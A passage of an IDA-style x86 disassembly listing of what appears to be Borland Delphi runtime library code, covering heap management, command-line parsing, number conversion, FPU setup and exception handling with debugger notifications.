ds:dword_17608, ebp add ds:dword_17604, ebp cmp ds:dword_17604, 0Ch jge loc_126C2 add ds:dword_17608, ebp sub ds:dword_17604, ebp mov ebx, esi jmp loc_126C2 ; --------------------------------------------------------------------------- loc_12566: ; CODE XREF: sub_124E4+54j mov [esp+1Ch+var_18], eax mov eax, [esp+1Ch+var_18] test byte ptr [eax], 2 jnz short loc_1258B mov eax, [esp+1Ch+var_18] mov [esp+1Ch+var_14], eax mov eax, [esp+1Ch+var_14] add ebp, [eax+8] mov eax, [esp+1Ch+var_14] call sub_11ADC loc_1258B: ; CODE XREF: sub_124E4+8Dj cmp ebp, 0Ch jl short loc_125B3 mov eax, [esp+1Ch+var_1C] add eax, ebx mov [esp+1Ch+var_18], eax or ebp, 2 mov eax, [esp+1Ch+var_18] mov [eax], ebp mov eax, [esp+1Ch+var_18] add eax, 4 call sub_11BF0 jmp loc_126C2 ; --------------------------------------------------------------------------- loc_125B3: ; CODE XREF: sub_124E4+AAj mov ebx, esi jmp loc_126C2 ; --------------------------------------------------------------------------- loc_125BA: ; CODE XREF: sub_124E4+40j ; sub_124E4+1D5j mov edi, ebx sub edi, esi mov eax, [esp+1Ch+var_18] cmp eax, ds:dword_17608 jnz short loc_1262F cmp edi, ds:dword_17604 jg short loc_12621 sub ds:dword_17604, edi add ds:dword_17608, edi cmp ds:dword_17604, 0Ch jge short loc_125FF mov eax, ds:dword_17604 add ds:dword_17608, eax add ebx, ds:dword_17604 xor eax, eax mov ds:dword_17604, eax loc_125FF: ; CODE XREF: sub_124E4+101j mov eax, ebx sub eax, esi add ds:dword_175A0, eax mov eax, [esp+1Ch+var_1C] mov eax, [eax] and eax, 80000003h or ebx, eax mov eax, [esp+1Ch+var_1C] mov [eax], ebx mov al, 1 jmp loc_126DF ; --------------------------------------------------------------------------- loc_12621: ; CODE XREF: sub_124E4+ECj call sub_11EA8 mov eax, [esp+1Ch+var_1C] add eax, esi mov [esp+1Ch+var_18], eax loc_1262F: ; CODE XREF: sub_124E4+E4j mov eax, [esp+1Ch+var_18] test byte ptr [eax], 2 jnz short loc_12687 mov eax, [esp+1Ch+var_18] mov [esp+1Ch+var_14], eax mov edx, [esp+1Ch+var_14] mov ebp, [edx+8] cmp edi, ebp jle short loc_12655 add eax, ebp mov [esp+1Ch+var_18], eax sub edi, ebp jmp short loc_12687 ; --------------------------------------------------------------------------- loc_12655: ; CODE XREF: sub_124E4+165j mov eax, [esp+1Ch+var_14] call sub_11ADC sub ebp, edi cmp ebp, 0Ch jl short loc_12673 mov eax, [esp+1Ch+var_1C] add eax, ebx mov edx, ebp call sub_11DB0 jmp short loc_126C2 ; --------------------------------------------------------------------------- loc_12673: ; CODE XREF: sub_124E4+17Fj add ebx, ebp mov eax, [esp+1Ch+var_1C] add eax, ebx mov [esp+1Ch+var_18], eax mov eax, [esp+1Ch+var_18] and dword ptr [eax], 0FFFFFFFEh jmp short loc_126C2 ; --------------------------------------------------------------------------- loc_12687: ; CODE XREF: sub_124E4+152j ; sub_124E4+16Fj mov eax, [esp+1Ch+var_18] mov eax, [eax] test eax, 80000000h jz short loc_126BE and eax, 7FFFFFFCh add eax, [esp+1Ch+var_18] mov [esp+1Ch+var_18], eax mov edx, edi mov eax, [esp+1Ch+var_18] call sub_11FAC test al, al jz short loc_126BE mov eax, [esp+1Ch+var_1C] add eax, esi mov [esp+1Ch+var_18], eax jmp loc_125BA ; --------------------------------------------------------------------------- loc_126BE: ; CODE XREF: sub_124E4+1AEj ; sub_124E4+1CAj xor eax, eax jmp short loc_126DF ; --------------------------------------------------------------------------- loc_126C2: ; CODE XREF: sub_124E4+69j ; sub_124E4+7Dj ... mov eax, ebx sub eax, esi add ds:dword_175A0, eax mov eax, [esp+1Ch+var_1C] mov eax, [eax] and eax, 80000003h or ebx, eax mov eax, [esp+1Ch+var_1C] mov [eax], ebx mov al, 1 loc_126DF: ; CODE XREF: sub_124E4+39j ; sub_124E4+138j ... add esp, 0Ch pop ebp pop edi pop esi pop ebx retn sub_124E4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_126E8 proc near ; CODE XREF: sub_12804+Dp ; DATA XREF: DATA:off_1602Co var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi mov esi, edx mov ebx, eax cmp ds:byte_175AC, 0 jnz short loc_12710 call sub_11904 test al, al jnz short loc_12710 xor eax, eax mov [ebp+var_4], eax jmp loc_127A8 ; --------------------------------------------------------------------------- loc_12710: ; CODE XREF: sub_126E8+13j ; sub_126E8+1Cj xor edx, edx push ebp push offset loc_127A1 push dword ptr fs:[edx] mov fs:[edx], esp cmp ds:byte_17035, 0 jz short loc_12731 push offset CriticalSection ; lpCriticalSection call EnterCriticalSection loc_12731: ; CODE XREF: sub_126E8+3Dj mov edx, esi mov eax, ebx call sub_124E4 test al, al jz short loc_12743 mov [ebp+var_4], ebx jmp short loc_12780 ; --------------------------------------------------------------------------- loc_12743: ; CODE XREF: sub_126E8+54j mov eax, esi call sub_12160 mov [ebp+var_8], eax mov eax, ebx sub eax, 4 mov eax, [eax] and eax, 7FFFFFFCh sub eax, 4 cmp esi, eax jge short loc_12762 mov eax, esi loc_12762: ; CODE XREF: sub_126E8+76j cmp [ebp+var_8], 0 jz short loc_1277A mov edx, [ebp+var_8] mov ecx, ebx xchg eax, ecx call sub_128C8 mov eax, ebx call sub_1230C loc_1277A: ; CODE XREF: sub_126E8+7Ej mov eax, [ebp+var_8] mov [ebp+var_4], eax loc_12780: ; CODE XREF: sub_126E8+59j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_127A8 loc_1278D: ; CODE XREF: sub_126E8+BEj cmp ds:byte_17035, 0 jz short loc_127A0 push offset CriticalSection ; lpCriticalSection call LeaveCriticalSection loc_127A0: ; CODE XREF: sub_126E8+ACj retn ; --------------------------------------------------------------------------- loc_127A1: ; DATA XREF: sub_126E8+2Bo jmp loc_12F4C ; --------------------------------------------------------------------------- jmp short loc_1278D ; --------------------------------------------------------------------------- loc_127A8: ; CODE XREF: sub_126E8+23j ; sub_126E8:loc_127A0j ; DATA XREF: ... mov eax, [ebp+var_4] pop esi pop ebx pop ecx pop ecx pop ebp retn sub_126E8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_127B4 proc near ; CODE XREF: sub_13570+Cp var_8 = dword ptr -8 push ebx push ecx mov ebx, eax test ebx, ebx jle short loc_127D6 mov eax, ebx call ds:off_16024 mov [esp+8+var_8], eax cmp [esp+8+var_8], 0 jnz short loc_127DB mov al, 1 call sub_128AC ; --------------------------------------------------------------------------- jmp short loc_127DB ; --------------------------------------------------------------------------- loc_127D6: ; CODE XREF: sub_127B4+6j xor eax, eax mov [esp+8+var_8], eax loc_127DB: ; CODE XREF: sub_127B4+17j ; sub_127B4+20j mov eax, [esp+8+var_8] pop edx pop ebx retn sub_127B4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_127E4 proc near ; CODE XREF: sub_134D8+1Cp ; sub_134FC+21p ... push ebx test eax, eax jz short loc_127FE call ds:off_16028 mov ebx, eax test ebx, ebx jz short loc_12800 mov al, 2 call sub_128AC ; --------------------------------------------------------------------------- jmp short loc_12800 ; --------------------------------------------------------------------------- loc_127FE: ; CODE XREF: sub_127E4+3j xor ebx, ebx loc_12800: ; CODE XREF: sub_127E4+Fj ; sub_127E4+18j mov eax, ebx pop ebx retn sub_127E4 endp ; =============== S U B R O U T I N E ======================================= sub_12804 proc near ; CODE XREF: sub_136A8+22p mov ecx, [eax] test ecx, ecx jz short loc_1283C test edx, edx jz short loc_12826 push eax mov eax, ecx call ds:off_1602C pop ecx or eax, eax jz short loc_12835 mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_1281F: ; CODE XREF: sub_12804+2Ej mov al, 2 jmp sub_128AC ; --------------------------------------------------------------------------- loc_12826: ; CODE XREF: sub_12804+8j mov [eax], edx mov eax, ecx call ds:off_16028 or eax, eax jnz short loc_1281F retn ; --------------------------------------------------------------------------- loc_12835: ; CODE XREF: sub_12804+16j ; sub_12804+48j mov al, 1 jmp sub_128AC ; --------------------------------------------------------------------------- loc_1283C: ; CODE XREF: sub_12804+4j test edx, edx jz short locret_12850 push eax mov eax, edx call ds:off_16024 pop ecx or eax, eax jz short loc_12835 mov [ecx], eax locret_12850: ; CODE XREF: sub_12804+3Aj retn sub_12804 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_12854 proc near ; CODE XREF: sub_12860+42p ; CODE:000130B7p mov ds:dword_16004, edx call sub_134C0 sub_12854 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_12860 proc near ; CODE XREF: sub_128AC+6j push ebx push esi mov esi, edx mov ebx, eax and bl, 7Fh cmp ds:dword_17008, 0 jz short loc_1287C mov edx, esi mov eax, ebx call ds:dword_17008 loc_1287C: ; CODE XREF: sub_12860+10j test bl, bl jnz short loc_1288D call sub_13A18 mov ebx, [eax+4] jmp short loc_1289C ; --------------------------------------------------------------------------- loc_1288D: ; CODE XREF: sub_12860+1Ej cmp bl, 18h ja short loc_1289C xor eax, eax mov al, bl mov bl, ds:byte_16030[eax] loc_1289C: ; CODE XREF: sub_12860+2Bj ; sub_12860+30j xor eax, eax mov al, bl mov edx, esi call sub_12854 sub_12860 endp ; --------------------------------------------------------------------------- pop esi pop ebx retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_128AC proc near ; CODE XREF: sub_127B4+1Bp ; sub_127E4+13p ... and eax, 7Fh mov edx, [esp+0] jmp sub_12860 sub_128AC endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_128B8 proc near ; CODE XREF: sub_12AD0+38p ; sub_12AD0+4Cp push ebx mov ebx, eax call sub_13A18 mov [eax+4], ebx pop ebx retn sub_128B8 endp ; =============== S U B R O U T I N E ======================================= sub_128C8 proc near ; CODE XREF: sub_126E8+86p ; sub_1352C+1Bp ... push esi push edi mov esi, eax mov edi, edx mov eax, ecx cmp edi, esi ja short loc_128E7 jz short loc_12905 sar ecx, 2 js short loc_12905 rep movsd mov ecx, eax and ecx, 3 rep movsb pop edi pop esi retn ; --------------------------------------------------------------------------- loc_128E7: ; CODE XREF: sub_128C8+Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] sar ecx, 2 js short loc_12905 std rep movsd mov ecx, eax and ecx, 3 add esi, 3 add edi, 3 rep movsb cld loc_12905: ; CODE XREF: sub_128C8+Cj ; sub_128C8+11j ... pop edi pop esi retn sub_128C8 endp ; =============== S U B R O U T I N E ======================================= sub_12908 proc near ; CODE XREF: sub_12A6C+44p var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h push ebx push esi push edi push ebp add esp, 0FFFFFFE8h mov [esp+28h+var_24], edx mov [esp+28h+var_28], eax mov esi, esp lea edi, [esp+28h+var_14] jmp short loc_12928 ; --------------------------------------------------------------------------- loc_1291E: ; CODE XREF: sub_12908+2Bj mov eax, [esi] push eax ; lpsz call CharNextA ; CharNextA mov [esi], eax loc_12928: ; CODE XREF: sub_12908+14j ; sub_12908+3Fj mov eax, [esi] mov bl, [eax] test bl, bl jz short loc_12935 cmp bl, 20h jbe short loc_1291E loc_12935: ; CODE XREF: sub_12908+26j mov eax, [esi] cmp byte ptr [eax], 22h jnz short loc_12949 mov eax, [esi] cmp byte ptr [eax+1], 22h jnz short loc_12949 add dword ptr [esi], 2 jmp short loc_12928 ; --------------------------------------------------------------------------- loc_12949: ; CODE XREF: sub_12908+32j ; sub_12908+3Aj xor ebp, ebp mov eax, [esi] mov [esp+28h+var_1C], eax jmp short loc_129AE ; --------------------------------------------------------------------------- loc_12953: ; CODE XREF: sub_12908+ABj mov eax, [esi] cmp byte ptr [eax], 22h jnz short loc_1299A mov eax, [esi] push eax ; lpsz call CharNextA ; CharNextA mov [esi], eax jmp short loc_1297A ; --------------------------------------------------------------------------- loc_12966: ; CODE XREF: sub_12908+7Dj mov eax, [esi] push eax ; lpsz call CharNextA ; CharNextA mov [edi], eax mov eax, [edi] sub eax, [esi] add ebp, eax mov eax, [edi] mov [esi], eax loc_1297A: ; CODE XREF: sub_12908+5Cj mov eax, [esi] mov bl, [eax] test bl, bl jz short loc_12987 cmp bl, 22h jnz short loc_12966 loc_12987: ; CODE XREF: sub_12908+78j mov eax, [esi] cmp byte ptr [eax], 0 jz short loc_129AE mov eax, [esi] push eax ; lpsz call CharNextA ; CharNextA mov [esi], eax jmp short loc_129AE ; --------------------------------------------------------------------------- loc_1299A: ; CODE XREF: sub_12908+50j mov eax, [esi] push eax ; lpsz call CharNextA ; CharNextA mov [edi], eax mov eax, [edi] sub eax, [esi] add ebp, eax mov eax, [edi] mov [esi], eax loc_129AE: ; CODE XREF: sub_12908+49j ; sub_12908+84j ... mov eax, [esi] cmp byte ptr [eax], 20h ja short loc_12953 mov eax, [esp+28h+var_24] mov edx, ebp call sub_136A8 mov eax, [esp+28h+var_1C] mov [esi], eax mov eax, [esp+28h+var_24] mov eax, [eax] mov [esp+28h+var_18], eax xor ebp, ebp jmp short loc_12A4F ; --------------------------------------------------------------------------- loc_129D4: ; CODE XREF: sub_12908+14Cj mov eax, [esi] cmp byte ptr [eax], 22h jnz short loc_12A2B mov eax, [esi] push eax ; lpsz call CharNextA ; CharNextA mov [esi], eax jmp short loc_12A0B ; --------------------------------------------------------------------------- loc_129E7: ; CODE XREF: sub_12908+10Ej mov eax, [esi] push eax ; lpsz call CharNextA ; CharNextA mov [edi], eax mov eax, [esi] cmp eax, [edi] jnb short loc_12A0B loc_129F7: ; CODE XREF: sub_12908+101j mov eax, [esi] mov al, [eax] mov edx, [esp+28h+var_18] mov [edx+ebp], al inc dword ptr [esi] inc ebp mov eax, [esi] cmp eax, [edi] jb short loc_129F7 loc_12A0B: ; CODE XREF: sub_12908+DDj ; sub_12908+EDj mov eax, [esi] mov bl, [eax] test bl, bl jz short loc_12A18 cmp bl, 22h jnz short loc_129E7 loc_12A18: ; CODE XREF: sub_12908+109j mov eax, [esi] cmp byte ptr [eax], 0 jz short loc_12A4F mov eax, [esi] push eax ; lpsz call CharNextA ; CharNextA mov [esi], eax jmp short loc_12A4F ; --------------------------------------------------------------------------- loc_12A2B: ; CODE XREF: sub_12908+D1j mov eax, [esi] push eax ; lpsz call CharNextA ; CharNextA mov [edi], eax mov eax, [esi] cmp eax, [edi] jnb short loc_12A4F loc_12A3B: ; CODE XREF: sub_12908+145j mov eax, [esi] mov al, [eax] mov edx, [esp+28h+var_18] mov [edx+ebp], al inc dword ptr [esi] inc ebp mov eax, [esi] cmp eax, [edi] jb short loc_12A3B loc_12A4F: ; CODE XREF: sub_12908+CAj ; sub_12908+115j ... mov eax, [esi] cmp byte ptr [eax], 20h ja loc_129D4 mov eax, [esi] mov [esp+28h+var_20], eax mov eax, [esp+28h+var_20] add esp, 18h pop ebp pop edi pop esi pop ebx retn sub_12908 endp ; =============== S U B R O U T I N E ======================================= sub_12A6C proc near ; CODE XREF: sub_14F44+C1p var_114 = dword ptr -114h Filename = byte ptr -110h push ebx push esi add esp, 0FFFFFEF4h mov ebx, edx mov esi, eax mov eax, ebx call sub_134D8 test esi, esi jnz short loc_12AA3 push 105h ; nSize lea eax, [esp+118h+Filename] push eax ; lpFilename push 0 ; hModule call GetModuleFileNameA ; GetModuleFileNameA mov ecx, eax lea edx, [esp+114h+Filename] mov eax, ebx call sub_1359C jmp short loc_12AC4 ; --------------------------------------------------------------------------- loc_12AA3: ; CODE XREF: sub_12A6C+15j call GetCommandLineA ; GetCommandLineA mov [esp+114h+var_114], eax loc_12AAB: ; CODE XREF: sub_12A6C+56j mov edx, ebx mov eax, [esp+114h+var_114] call sub_12908 mov [esp+114h+var_114], eax test esi, esi jz short loc_12AC4 cmp dword ptr [ebx], 0 jz short loc_12AC4 dec esi jmp short loc_12AAB ; --------------------------------------------------------------------------- loc_12AC4: ; CODE XREF: sub_12A6C+35j ; sub_12A6C+4Ej ... add esp, 10Ch pop esi pop ebx retn sub_12A6C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_12AD0 proc near ; CODE XREF: sub_13878+1Ep ; sub_13878+28p ... push ebx push esi mov ebx, eax xor esi, esi mov ax, [ebx+4] cmp ax, 0D7B1h jb short loc_12B0F cmp ax, 0D7B3h ja short loc_12B0F and ax, 0D7B2h cmp ax, 0D7B2h jnz short loc_12AF7 mov eax, ebx call dword ptr [ebx+1Ch] mov esi, eax loc_12AF7: ; CODE XREF: sub_12AD0+1Ej test esi, esi jnz short loc_12B02 mov eax, ebx call dword ptr [ebx+24h] mov esi, eax loc_12B02: ; CODE XREF: sub_12AD0+29j test esi, esi jz short loc_12B21 mov eax, esi call sub_128B8 jmp short loc_12B21 ; --------------------------------------------------------------------------- loc_12B0F: ; CODE XREF: sub_12AD0+Ej ; sub_12AD0+14j cmp ebx, offset dword_17038 jz short loc_12B21 mov eax, 67h call sub_128B8 loc_12B21: ; CODE XREF: sub_12AD0+34j ; sub_12AD0+3Dj ... mov eax, esi pop esi pop ebx retn sub_12AD0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_12B28 proc near ; CODE XREF: sub_13C48+11p ; sub_14990+97p ... push edi mov edi, eax mov ch, cl mov eax, ecx shl eax, 10h mov ax, cx mov ecx, edx sar ecx, 2 js short loc_12B45 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_12B45: ; CODE XREF: sub_12B28+12j pop edi retn sub_12B28 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_12B48 proc near ; CODE XREF: sub_13804+41p push ebx push esi push edi mov esi, eax push eax test eax, eax jz short loc_12BBE xor eax, eax xor ebx, ebx mov edi, 0CCCCCCCh loc_12B5B: ; CODE XREF: sub_12B48+19j mov bl, [esi] inc esi cmp bl, 20h jz short loc_12B5B mov ch, 0 cmp bl, 2Dh jz short loc_12BCC cmp bl, 2Bh jz short loc_12BCE loc_12B6F: ; CODE XREF: sub_12B48+89j cmp bl, 24h jz short loc_12BD3 cmp bl, 78h jz short loc_12BD3 cmp bl, 58h jz short loc_12BD3 cmp bl, 30h jnz short loc_12B96 mov bl, [esi] inc esi cmp bl, 78h jz short loc_12BD3 cmp bl, 58h jz short loc_12BD3 test bl, bl jz short loc_12BB4 jmp short loc_12B9A ; --------------------------------------------------------------------------- loc_12B96: ; CODE XREF: sub_12B48+39j test bl, bl jz short loc_12BC7 loc_12B9A: ; CODE XREF: sub_12B48+4Cj ; sub_12B48+6Aj sub bl, 30h cmp bl, 9 ja short loc_12BC7 cmp eax, edi ja short loc_12BC7 lea eax, [eax+eax*4] add eax, eax add eax, ebx mov bl, [esi] inc esi test bl, bl jnz short loc_12B9A loc_12BB4: ; CODE XREF: sub_12B48+4Aj dec ch jz short loc_12BC1 test eax, eax jge short loc_12C10 jmp short loc_12BC7 ; --------------------------------------------------------------------------- loc_12BBE: ; CODE XREF: sub_12B48+8j ; sub_12B48+95j inc esi jmp short loc_12BC7 ; --------------------------------------------------------------------------- loc_12BC1: ; CODE XREF: sub_12B48+6Ej neg eax jle short loc_12C10 js short loc_12C10 loc_12BC7: ; CODE XREF: sub_12B48+50j ; sub_12B48+58j ... pop ebx sub esi, ebx jmp short loc_12C13 ; --------------------------------------------------------------------------- loc_12BCC: ; CODE XREF: sub_12B48+20j inc ch loc_12BCE: ; CODE XREF: sub_12B48+25j mov bl, [esi] inc esi jmp short loc_12B6F ; --------------------------------------------------------------------------- loc_12BD3: ; CODE XREF: sub_12B48+2Aj ; sub_12B48+2Fj ... mov edi, 0FFFFFFFh mov bl, [esi] inc esi test bl, bl jz short loc_12BBE loc_12BDF: ; CODE XREF: sub_12B48+C0j cmp bl, 61h jb short loc_12BE7 sub bl, 20h loc_12BE7: ; CODE XREF: sub_12B48+9Aj sub bl, 30h cmp bl, 9 jbe short loc_12BFA sub bl, 11h cmp bl, 5 ja short loc_12BC7 add bl, 0Ah loc_12BFA: ; CODE XREF: sub_12B48+A5j cmp eax, edi ja short loc_12BC7 shl eax, 4 add eax, ebx mov bl, [esi] inc esi test bl, bl jnz short loc_12BDF dec ch jnz short loc_12C10 neg eax loc_12C10: ; CODE XREF: sub_12B48+72j ; sub_12B48+7Bj ... pop ecx xor esi, esi loc_12C13: ; CODE XREF: sub_12B48+82j mov [edx], esi pop edi pop esi pop ebx retn sub_12B48 endp ; --------------------------------------------------------------------------- align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetKeyboardType. PRESS KEYPAD "+" TO EXPAND] align 4 ; =============== S U B R O U T I N E ======================================= sub_12C24 proc near ; CODE XREF: sub_138CC+39p push ebx xor ebx, ebx push 0 ; nTypeFlag call GetKeyboardType ; GetKeyboardType cmp eax, 7 jnz short loc_12C4F push 1 ; nTypeFlag call GetKeyboardType ; GetKeyboardType and eax, 0FF00h cmp eax, 0D00h jz short loc_12C4D cmp eax, 400h jnz short loc_12C4F loc_12C4D: ; CODE XREF: sub_12C24+20j mov bl, 1 loc_12C4F: ; CODE XREF: sub_12C24+Dj ; sub_12C24+27j mov eax, ebx pop ebx retn sub_12C24 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_12C54 proc near ; CODE XREF: sub_138CC+42p cbData = dword ptr -0Ch Data = byte ptr -8 hKey = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF4h movzx eax, ds:word_1600C mov dword ptr [ebp+Data], eax lea eax, [ebp+hKey] push eax ; phkResult push 1 ; samDesired push 0 ; ulOptions push offset SubKey ; "SOFTWARE\\Borland\\Delphi\\RTL" push 80000002h ; hKey call RegOpenKeyExA ; RegOpenKeyExA test eax, eax jnz short loc_12CCC xor eax, eax push ebp push offset loc_12CC5 push dword ptr fs:[eax] mov fs:[eax], esp mov [ebp+cbData], 4 lea eax, [ebp+cbData] push eax ; lpcbData lea eax, [ebp+Data] push eax ; lpData push 0 ; lpType push 0 ; lpReserved push offset ValueName ; "FPUMaskValue" mov eax, [ebp+hKey] push eax ; hKey call RegQueryValueExA ; RegQueryValueExA xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_12CCC loc_12CBB: ; CODE XREF: sub_12C54+76j mov eax, [ebp+hKey] push eax ; hKey call RegCloseKey ; RegCloseKey retn ; --------------------------------------------------------------------------- loc_12CC5: ; DATA XREF: sub_12C54+2Eo jmp loc_12F4C ; --------------------------------------------------------------------------- jmp short loc_12CBB ; --------------------------------------------------------------------------- loc_12CCC: ; CODE XREF: sub_12C54+29j ; sub_12C54+70j ; DATA XREF: ... mov ax, ds:word_1600C and ax, 0FFC0h mov dx, word ptr [ebp+Data] and dx, 3Fh or ax, dx mov ds:word_1600C, ax mov esp, ebp pop ebp retn sub_12C54 endp ; --------------------------------------------------------------------------- align 4 ; char SubKey[] SubKey db 'SOFTWARE\Borland\Delphi\RTL',0 ; DATA XREF: sub_12C54+18o ; char ValueName[] ValueName db 'FPUMaskValue',0 ; DATA XREF: sub_12C54+4Co align 4 ; =============== S U B R O U T I N E ======================================= sub_12D18 proc near ; CODE XREF: sub_131A8-368p ; CODE:000130EEp ... fninit wait fldcw ds:word_1600C retn sub_12D18 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_12D24 proc near ; CODE XREF: CODE:00012F3Fj ; sub_12F84+30p ... test eax, eax jz short locret_12D2F mov dl, 1 mov ecx, [eax] call dword ptr [ecx-4] locret_12D2F: ; CODE XREF: sub_12D24+2j retn sub_12D24 endp ; =============== S U B R O U T I N E ======================================= sub_12D30 proc near ; CODE XREF: sub_12F84+35p cmp ds:byte_16010, 1 jbe short locret_12D4A push 0 push 0 push 0 push 0EEDFADFh call ds:dword_17010 locret_12D4A: ; CODE XREF: sub_12D30+7j retn sub_12D30 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_12D4C proc near ; CODE XREF: sub_131A8-33Bp cmp ds:byte_16010, 0 jz short locret_12D6C push eax push eax push edx push esp push 2 push 0 push 0EEDFAE4h call ds:dword_17010 add esp, 8 pop eax locret_12D6C: ; CODE XREF: sub_12D4C+7j retn sub_12D4C endp ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_12D88 loc_12D70: ; CODE XREF: sub_12D88+Bj push esp push 1 push 0 push 0EEDFAE0h call ds:dword_17010 add esp, 4 pop eax retn ; END OF FUNCTION CHUNK FOR sub_12D88 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_12D88 proc near ; CODE XREF: sub_131A8-28Bp ; FUNCTION CHUNK AT 00012D70 SIZE 00000015 BYTES cmp ds:byte_16010, 1 jbe short locret_12D98 push eax push ebx jmp loc_12D70 ; --------------------------------------------------------------------------- locret_12D98: ; CODE XREF: sub_12D88+7j retn sub_12D88 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_12D9C proc near ; CODE XREF: sub_12DBC+Cp test ecx, ecx jz short locret_12DB9 mov eax, [ecx+1] cmp byte ptr [ecx], 0E9h jz short loc_12DB4 cmp byte ptr [ecx], 0EBh jnz short locret_12DB9 movsx eax, al inc ecx inc ecx jmp short loc_12DB7 ; --------------------------------------------------------------------------- loc_12DB4: ; CODE XREF: sub_12D9C+Aj add ecx, 5 loc_12DB7: ; CODE XREF: sub_12D9C+16j add ecx, eax locret_12DB9: ; CODE XREF: sub_12D9C+2j sub_12D9C+Fj retn sub_12D9C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_12DBC proc near ; CODE XREF: sub_11904+166Dp cmp ds:byte_16010, 1 jbe short locret_12DE2 push eax push edx push ecx call sub_12D9C push ecx push esp push 1 push 0 push 0EEDFAE1h call ds:dword_17010 pop ecx pop ecx pop edx pop eax locret_12DE2: ; CODE XREF: sub_12DBC+7j retn sub_12DBC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_12DE4 proc near ; CODE XREF: sub_12FD8+28p cmp ds:byte_16010, 1 jbe short locret_12DFF push edx push esp push 1 push 0 push 0EEDFAE2h call ds:dword_17010 pop edx locret_12DFF: ; CODE XREF: sub_12DE4+7j retn sub_12DE4 endp ; =============== S U B R O U T I N E ======================================= sub_12E00 proc near ; CODE XREF: CODE:loc_13135p push eax push edx cmp ds:byte_16010, 1 jbe short loc_12E1B push esp push 2 push 0 push 0EEDFAE3h call ds:dword_17010 loc_12E1B: ; CODE XREF: sub_12E00+9j pop edx pop eax retn sub_12E00 endp ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_131A8 loc_12E20: ; CODE XREF: sub_131A8:loc_131FDj ; sub_13218:loc_1326Dj ... mov eax, [esp-4+ExceptionInfo.ExceptionRecord] test dword ptr [eax+4], 6 jnz loc_12F44 cmp dword ptr [eax], 0EEDFADEh mov edx, [eax+18h] mov ecx, [eax+14h] jz short loc_12EAD cld call sub_12D18 mov edx, ds:dword_1700C test edx, edx jz loc_12F44 call edx ; dword_1700C test eax, eax jz loc_12F44 mov edx, [esp-4+arg_8] mov ecx, [esp-4+ExceptionInfo.ExceptionRecord] cmp dword ptr [ecx], 0EEFFACEh jz short loc_12EA4 call sub_12D4C cmp ds:byte_16014, 0 jbe short loc_12EA4 cmp ds:byte_16010, 0 ja short loc_12EA4 lea ecx, [esp-4+ExceptionInfo] push eax push ecx ; ExceptionInfo call UnhandledExceptionFilter ; UnhandledExceptionFilter cmp eax, 0 pop eax jz loc_12F44 mov edx, eax mov eax, [esp-4+ExceptionInfo.ExceptionRecord] mov ecx, [eax+0Ch] jmp short loc_12ED4 ; --------------------------------------------------------------------------- loc_12EA4: ; CODE XREF: sub_131A8-33Dj ; sub_131A8-32Fj ... mov edx, eax mov eax, [esp-4+ExceptionInfo.ExceptionRecord] mov ecx, [eax+0Ch] loc_12EAD: ; CODE XREF: sub_131A8-36Bj cmp ds:byte_16014, 1 jbe short loc_12ED4 cmp ds:byte_16010, 0 ja short loc_12ED4 push eax lea eax, [esp+ExceptionInfo] push edx push ecx push eax ; ExceptionInfo call UnhandledExceptionFilter ; UnhandledExceptionFilter cmp eax, 0 pop ecx pop edx pop eax jz short loc_12F44 loc_12ED4: ; CODE XREF: sub_131A8-306j ; sub_131A8-2F4j ... or dword ptr [eax+4], 2 push ebx xor ebx, ebx push esi push edi push ebp mov ebx, fs:[ebx] push ebx push eax push edx push ecx mov edx, [esp+1Ch+ExceptionInfo.ContextRecord] push 0 push eax push offset loc_12EF8 push edx call ds:dword_17014 loc_12EF8: ; DATA XREF: sub_131A8-2BCo mov edi, [esp+2Ch+var_4] call sub_13A18 push dword ptr [eax+0] mov [eax+0], esp mov ebp, [edi+8] mov ebx, [edi+4] mov dword ptr [edi+4], offset sub_12F24 add ebx, 5 call sub_12D88 jmp ebx ; END OF FUNCTION CHUNK FOR sub_131A8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_12F24 proc near ; DATA XREF: sub_131A8-295o jmp loc_12F4C sub_12F24 endp ; --------------------------------------------------------------------------- call sub_13A18 mov ecx, [eax+0] mov edx, [ecx] mov [eax+0], edx mov eax, [ecx+8] jmp sub_12D24 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_131A8 